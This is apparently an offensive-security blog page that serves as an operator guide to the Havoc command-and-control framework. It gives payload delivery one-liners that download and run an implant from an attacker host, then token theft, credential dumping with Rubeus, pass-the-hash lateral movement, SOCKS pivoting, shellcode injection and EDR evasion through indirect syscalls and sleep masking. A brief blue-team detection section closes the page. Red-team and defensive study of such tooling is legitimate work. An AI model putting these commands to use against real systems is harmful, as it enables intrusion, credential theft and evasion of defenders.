ᛉ Yggdrasil

Tradecraft

Havoc C2

15 Sep 2026 · 3,030 words · 14 min

Contents

Legend: [SERVER] = Run on Havoc Teamserver | [CLIENT] = Run in Havoc Client GUI | [DEMON] = Run inside active Demon session | [HOST] = Run on attacker host OS


1. What is Havoc

What it means: Havoc is a modern, malleable, open-source post-exploitation command-and-control framework with a Teamserver/Client model, and its primary Windows agent is called Demon. The upstream wiki describes it as a “modern and malleable post-exploitation command and control framework,” and notes that Demon is written in C/ASM.

Attacker Machine (Havoc Teamserver + Client)
│
│ ← HTTP / HTTPS listener traffic
│
Victim Machine (Demon agent)

Havoc vs Sliver / Empire

Feature Havoc Sliver Empire
Core model Teamserver + GUI client Server + console client Server + REST API / GUI
Primary agent Demon Implant / Beacon Agent
Main comms HTTP/HTTPS HTTP/S, mTLS, DNS, WG HTTP/S, SMB, cloud listeners
GUI Native client No default GUI Starkiller
Evasion emphasis Indirect syscalls, sleep masking, spoofing Obfuscation + transport variety AMSI bypass, PowerShell/C# modules

Key Concepts

Term Meaning
Teamserver Central server managing operators, listeners, and payload generation
Client Operator GUI that connects to the Teamserver
Demon Primary Havoc agent, written in C/ASM
Profile (.yaotl) Teamserver configuration file format used for operators, listeners, and Demon defaults
Sleep Mask Memory obfuscation technique applied while Demon sleeps
ExternalC2 / Service Interface for custom agents and third-party integrations

2. Setting Up Havoc

What it means: Havoc is typically built from source on Linux, with separate build steps for the client and Teamserver. The official wiki lists Debian-family prerequisites including Qt5, Go, Python development headers, mingw-w64, and nasm.

2.1 Install Dependencies

sudo apt install -y git build-essential apt-utils cmake libfontconfig1 \
 libglu1-mesa-dev libgtest-dev libspdlog-dev libboost-all-dev \
 libncurses5-dev libgdbm-dev libssl-dev libreadline-dev libffi-dev \
 libsqlite3-dev libbz2-dev mesa-common-dev qtbase5-dev qtchooser \
 qt5-qmake qtbase5-dev-tools libqt5websockets5 libqt5websockets5-dev \
 qtdeclarative5-dev golang-go python3-dev mingw-w64 nasm

2.2 Ubuntu Python 3.10 Fix

sudo add-apt-repository ppa:deadsnakes/ppa
sudo apt update
sudo apt install python3.10 python3.10-dev

2.3 Clone the Repository

git clone https://github.com/HavocFramework/Havoc.git
cd Havoc

2.4 Build the Client

make client-build
./havoc client

2.5 Build the Teamserver

go mod download golang.org/x/sys
go mod download github.com/ugorji/go
make ts-build
sudo ./havoc server --profile ./profiles/havoc.yaotl -v --debug

2.6 Data Storage

All Teamserver-created data is stored under:
/Havoc/data/*

3. Teamserver & Profiles

What it means: Havoc uses .yaotl profile files to configure the Teamserver bind address, operators, Demon behavior, and listeners. The default example profile is stored in Havoc/Teamserver/profiles, and is loaded with --profile.

3.1 Start the Teamserver

sudo ./havoc server --profile ./profiles/havoc.yaotl -v --debug

3.2 Minimal Profile Example

Teamserver {
 Host = "0.0.0.0"
 Port = 40056
}

Operators {
 user "Neo" {
 Password = "password1234"
 }
}

3.3 Demon Defaults in Profile

Demon {
 Sleep = 2
 Jitter = 20
 TrustXForwardedFor = false

 Implant {
 SleepMask = 1
 SleepMaskTechnique = 0
 }

 Injection {
 Spawn64 = "C:\\Windows\\System32\\notepad.exe"
 Spawn32 = "C:\\Windows\\SysWOW64\\notepad.exe"
 }
}

3.4 Teamserver Flags

Command Flag Purpose
server --profile Load a teamserver profile
server -v / --verbose Verbose output
server -d / --debug Debug output
server --debug-dev Extra developer debug output; increases payload size and prints debug text in generated payloads

3.5 Connect the Client

cd Havoc
./havoc client
Login fields:
- Profile name
- Teamserver Host
- Port
- Username / Password from Operators block

4. Listeners

What it means: Current upstream documentation says Havoc supports HTTP/HTTPS listeners, configured through the Teamserver profile and managed from the client UI. Listener options include working hours, kill date, random URIs, custom headers, HTTPS, and host rotation behavior.

4.1 Example Listener Block

Listeners {
 Http {
 Name = "HTTPS Listener"
 KillDate = "2006-01-02 15:04:05"
 WorkingHours = "8:00-17:00"
 Hosts = ["10.0.0.10"]
 PortBind = 443
 PortConn = 443
 Method = "POST"
 Secure = true
 UserAgent = "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36"
 Uris = [
 "/funny_cat.gif",
 "/index.php",
 "/test.txt",
 "/helloworld.js"
 ]
 Headers = [
 "X-Havoc: true",
 "X-Havoc-Agent: Demon"
 ]

 Response {
 Headers = [
 "Content-type: text/plain",
 "X-IsHavocFramework: true"
 ]
 }
 }
}

4.2 Listener Fields

Field Meaning
Name Listener name
KillDate Optional self-termination date for Demon
WorkingHours Optional check-in window
Hosts Domains/IPs the Demon uses to reach Teamserver
PortBind Port bound by Teamserver
PortConn Port Demon connects to, if different
Method GET or POST
Secure true for HTTPS
Uris Randomized paths used by Demon
Headers Request headers added to Demon traffic

4.3 Create a Listener from the Client

1. Open View → Listeners
2. Click Add
3. Fill listener options
4. Click Save
5. Listener appears in the Listeners sub-window

5. Demon Payloads

What it means: Payload generation is done from the client UI, and current official documentation notes support for x64 EXE and DLL formats. Generated payloads are saved to disk after compilation through the GUI.

5.1 Generate a Demon Payload

1. Open Attack → Payload
2. Select the desired options
3. Click Generate
4. Save the compiled payload to disk

5.2 Current Supported Formats

- x64 EXE
- x64 DLL

5.3 Demon Source Layout

Directory Purpose
Source/Asm Return address stack spoofing code
Source/Core Transport, Win32 APIs, syscalls
Source/Crypt AES crypto support
Source/Extra Reflective loader components
Source/Inject Injection functionality
Source/Loader COFF loader / Beacon-style API
Source/Main Entry points for PE/DLL/RDLL

5.4 Example Payload Hosting

python3 -m http.server 8080

5.5 Example Delivery

Invoke-WebRequest -Uri "http://<ATTACKER_IP>:8080/demon.exe" -OutFile "C:\Windows\Temp\demon.exe"
Start-Process "C:\Windows\Temp\demon.exe"

6. Demon Agent Commands

What it means: Demon has built-in commands for recon, sleep control, job control, process management, token handling, shellcode injection, and inline .NET execution. The client supports help and help <command> to inspect these capabilities.

6.1 Basic Help

help
help sleep
help proc
help token
help dotnet

6.2 Check-in Information

[DEMON] > checkin

This returns metadata such as hostname, username, internal IPs, process path, PID, OS version, build, and the current AES key/IV and sleep settings.

6.3 Sleep Control

[DEMON] > sleep 30

Sleep uses the delay you provide, and jitter is applied from the profile settings. Sleep masking only occurs when there are no active running job threads.

6.4 Job Management

[DEMON] > job list
[DEMON] > job suspend 1
[DEMON] > job resume 1
[DEMON] > job kill 1

6.5 Process Management

[DEMON] > proc list
[DEMON] > proc grep explorer
[DEMON] > proc module 1234
[DEMON] > proc kill 1234
[DEMON] > proc create normal notepad.exe
[DEMON] > proc create suspended notepad.exe
[DEMON] > proc memory 1234 PAGE_EXECUTE_READWRITE

6.6 Token Management

[DEMON] > token getuid
[DEMON] > token list
[DEMON] > token find-tokens
[DEMON] > token steal 888
[DEMON] > token impersonate 2
[DEMON] > token make LAB administrator Pass123!
[DEMON] > token privs-get
[DEMON] > token privs-list
[DEMON] > token revert
[DEMON] > token remove 2
[DEMON] > token clear

7. Initial Access — Delivery

What it means: Havoc itself is the C2, not the initial access vector, so you typically deliver Demon after phishing, code execution, or lateral movement gives you a launch point. The generated payload is then executed on the target and should appear in the client once it calls back.

7.1 Existing Shell → Download and Run

powershell -c "Invoke-WebRequest -Uri http://<ATTACKER_IP>:8080/demon.exe -OutFile C:\Temp\demon.exe; Start-Process C:\Temp\demon.exe"

7.2 SMB Share Delivery

impacket-smbserver share /tmp/payloads -smb2support
wmiexec.py lab.local/user:Pass123!@<TARGET_IP> \
 "cmd.exe /c \\<ATTACKER_IP>\share\demon.exe"

7.3 Manual GUI Validation

Client → Sessions
A new Demon should appear after successful callback.

8. Privilege Escalation

What it means: Havoc's built-in token features give you impersonation and privilege work, and the framework also supports modules and inline .NET execution for bringing external tooling into the workflow. The wiki explicitly documents token theft, token creation, and privilege acquisition commands.

8.1 Check Current Context

[DEMON] > token getuid
[DEMON] > token privs-list
[DEMON] > checkin

8.2 Find and Steal Better Tokens

[DEMON] > token find-tokens
[DEMON] > token steal 1234
[DEMON] > token list
[DEMON] > token impersonate 1

8.3 Create a Token from Credentials

[DEMON] > token make LAB Administrator Pass123!
[DEMON] > token impersonate 2

8.4 Attempt Privilege Expansion

[DEMON] > token privs-get
[DEMON] > token privs-list

8.5 Inline .NET for Privesc Helpers

[DEMON] > dotnet list-versions
[DEMON] > dotnet inline-execute C:\Temp\Seatbelt.exe all

OPSEC note: inline .NET execution loads the CLR into the Demon process and is irreversible for that process, which increases defender visibility.


9. Credential Access

What it means: Havoc does not document a full built-in Mimikatz-style credential subsystem in the upstream wiki, but it does support modules plus inline .NET execution and shellcode injection, which are the main ways operators extend credential-access capability. Official modules include Powerpick and InvokeAssembly.

9.1 Run a .NET Credential Tool In-Process

[DEMON] > dotnet inline-execute C:\Tools\Rubeus.exe triage
[DEMON] > dotnet inline-execute C:\Tools\Rubeus.exe dump

9.2 Use InvokeAssembly Module

Module concept:
- Load InvokeAssembly
- Execute a .NET assembly inside a separate process
- Pass arguments such as CLR version and AppDomain

9.3 Use Powerpick for Unmanaged PowerShell

Powerpick executes unmanaged PowerShell by loading CLR into the fork-and-run process. 

9.4 Example Workflow

[DEMON] > proc create suspended notepad.exe
[DEMON] > dotnet inline-execute C:\Tools\SharpHound.exe -c All

10. Domain Reconnaissance

What it means: Havoc supports domain recon mainly through shell commands, modules, and inline .NET assemblies such as Seatbelt, SharpHound, and PowerView-style tools via Powerpick or InvokeAssembly. The official Modules repo includes mechanisms for PowerShell and .NET execution, rather than every recon feature being native to Demon.

10.1 Native Recon with Shell / Proc / Checkin

[DEMON] > checkin
[DEMON] > proc list

10.2 .NET Recon via Inline Execute

[DEMON] > dotnet inline-execute C:\Tools\Seatbelt.exe all
[DEMON] > dotnet inline-execute C:\Tools\SharpHound.exe -c All

10.3 PowerShell Recon via Powerpick

Use Powerpick to run PowerView or custom PowerShell recon without spawning powershell.exe in the usual way. Official module description says Powerpick executes unmanaged PowerShell commands by loading CLR into the designated fork-and-run process. 

10.4 Useful External Recon Targets

- Domain controllers
- Domain Admins membership
- Logged-on users
- Trust relationships
- GPO-linked systems
- Local admin overlap

11. Lateral Movement

What it means: Havoc provides the execution substrate rather than a huge catalog of native lateral movement commands, so operators generally use token impersonation, shell commands, modules, or injected tooling to move laterally. Demon supports shellcode injection, process creation, token impersonation, and module-backed .NET execution, which are all useful for that workflow.

11.1 Use Stolen or Created Tokens

[DEMON] > token list
[DEMON] > token impersonate 1

11.2 Spawn a Process for Lateral Tooling

[DEMON] > proc create normal cmd.exe
[DEMON] > proc create suspended notepad.exe

11.3 Inject Shellcode into a Process

[DEMON] > shellcode inject x64 1234 C:\Tools\beacon.bin
[DEMON] > shellcode spawn x64 C:\Tools\beacon.bin

11.4 Use External Tools from Attacker Host

wmiexec.py lab.local/Administrator:Pass123!@<TARGET_IP>
psexec.py -hashes :<NTLM_HASH> lab.local/Administrator@<TARGET_IP>
evil-winrm -i <TARGET_IP> -u Administrator -H <NTLM_HASH>

12. Pivoting

What it means: The Havoc docs included here focus mostly on Teamserver, listeners, Demon commands, and extensibility, while practical pivoting is usually done through listener staging, agent chaining, or external tooling layered on top. In your earlier pivoting note, Havoc was referenced with a SOCKS5 proxy feature exposed through the GUI or command flow.

12.1 SOCKS5 Pivot Concept

GUI path:
Right-click agent → Pivoting → SOCKS5 Proxy

12.2 Example CLI-Style Reference

Havoc socks5 SESSIONID 127.0.0.1 1080 start
Havoc socks5 SESSIONID stop

12.3 Route Tools Through the Pivot

proxychains4 nmap -sT -Pn -n 192.168.1.0/24
proxychains4 crackmapexec smb 192.168.1.10 -u admin -p Pass123!
proxychains4 wmiexec.py lab.local/admin:Pass123!@192.168.1.20

13. Process Injection & Evasion

What it means: This is where Havoc stands out most. The official wiki documents indirect syscalls, multiple shellcode injection methods, configurable spawn targets, and sleep masking techniques including FOLIAGE and Ekko.

13.1 Indirect Syscalls

When compiled with OBF_SYSCALL, Demon performs indirect syscalls for many Nt* APIs, and the wiki says it alters the apparent return address to point into ntdll.dll to help evade syscall tracing and related EDR monitoring.

13.2 Sleep Masking

Demon {
 Implant {
 SleepMask = 1
 SleepMaskTechnique = 1
 }
}

Supported values documented in the wiki:

Value Technique
0 WaitForSingleObjectEx / no obfuscation
1 FOLIAGE
2 Ekko

13.3 Spawn Targets for Fork & Run

Injection {
 Spawn64 = "C:\\Windows\\System32\\notepad.exe"
 Spawn32 = "C:\\Windows\\SysWOW64\\notepad.exe"
}

13.4 Shellcode Injection Commands

[DEMON] > shellcode inject x64 4242 C:\payloads\raw.bin
[DEMON] > shellcode spawn x64 C:\payloads\raw.bin

13.5 Important OPSEC Note

Long-running jobs prevent sleep obfuscation, because Havoc requires all threads to be suspended before it can safely obfuscate memory during sleep.


14. Extensions & Loot

What it means: Havoc can be extended via official and custom modules, and via the Service API for ExternalC2 or third-party agents. The upstream wiki points to the havoc-py Python API, the official Modules repository, and a custom agent example called Talon.

14.1 Official Modules Mentioned

Module Purpose
Powerpick Executes unmanaged PowerShell commands by loading CLR in a fork-and-run process
InvokeAssembly Executes a .NET assembly in a separate process with configurable CLR/AppDomain options

14.2 Service Endpoint Example

Service {
 Endpoint = "service-endpoint"
 Password = "service-password"
}

This creates a Teamserver service endpoint at <teamserver-host>:<teamserver-port>/service-endpoint, authenticated with the configured password.

14.3 Custom Agent Example Concept

from havoc.service import HavocService
from havoc.agent import *

havoc_service = HavocService(
 endpoint="ws://0.0.0.0:40056/service-endpoint",
 password="service-password"
)

14.4 Loot Location

Teamserver interaction data:
Havoc/data/*

15. Detection of Havoc

What it means: Defenders can detect Havoc through memory artifacts, HTTPS listener fingerprints, process injection behavior, debug builds, and the tradeoffs introduced by CLR loading or long-running jobs. The official docs also note that debug builds visibly print DEBUG text in generated payloads, and that inline .NET execution loads the CLR into Demon.

Network Indicators

Area Signal
HTTP/HTTPS Repeated beaconing to custom URIs and headers
Headers Static custom headers like X-Havoc or X-Havoc-Agent if left unmodified
Timing Predictable sleep/jitter patterns if defaults are not changed

Host Indicators

Area Signal
Memory Sleep mask / injected code behavior; possible CLR load from dotnet inline-execute
Process tree Fork-and-run spawn processes such as notepad.exe used for injection if left at defaults
Console DEBUG payload output when --debug-dev is used
Threads Long-running jobs stop sleep masking, which can increase visibility in memory

Blue-Team Review Points

# Check suspicious process creation and parent/child behavior
Get-WmiObject Win32_Process | Select Name, ProcessId, ParentProcessId, CommandLine

# Look for unusual CLR loads in unexpected processes
# Inspect injected processes and memory-protection transitions

# Review unusual repeated HTTPS traffic to custom URIs / headers

16. Master Cheat Sheet

Build and Start

git clone https://github.com/HavocFramework/Havoc.git
cd Havoc

make client-build
make ts-build

sudo ./havoc server --profile ./profiles/havoc.yaotl -v --debug
./havoc client

Listener Flow

1. View → Listeners
2. Add
3. Configure HTTP/HTTPS settings
4. Save

Payload Flow

1. Attack → Payload
2. Pick listener
3. Choose x64 EXE or DLL
4. Generate
5. Save payload

Core Demon Commands

checkin
sleep 30

job list
job suspend 1
job resume 1
job kill 1

proc list
proc grep lsass
proc module 1234
proc kill 1234
proc create normal notepad.exe
proc create suspended notepad.exe

token getuid
token list
token find-tokens
token steal 1234
token impersonate 1
token make LAB Administrator Pass123!
token privs-get
token privs-list
token revert

shellcode inject x64 1234 C:\payloads\raw.bin
shellcode spawn x64 C:\payloads\raw.bin

dotnet list-versions
dotnet inline-execute C:\Tools\Seatbelt.exe all

Decision Tree

Havoc installed and Teamserver running?
│
├── Create HTTP/HTTPS listener
│
├── Generate Demon payload
│
├── Deliver payload to target
│
├── Session appears in client
│ └── checkin / proc list / token getuid
│
├── Need stealth?
│ └── tune sleep, jitter, headers, URIs, sleep mask
│
├── Need better privileges?
│ └── token find-tokens / steal / impersonate / privs-get
│
├── Need more capability?
│ └── dotnet inline-execute / Powerpick / InvokeAssembly / modules
│
└── Need injection?
 └── shellcode inject / shellcode spawn

← Tradecraft top ↑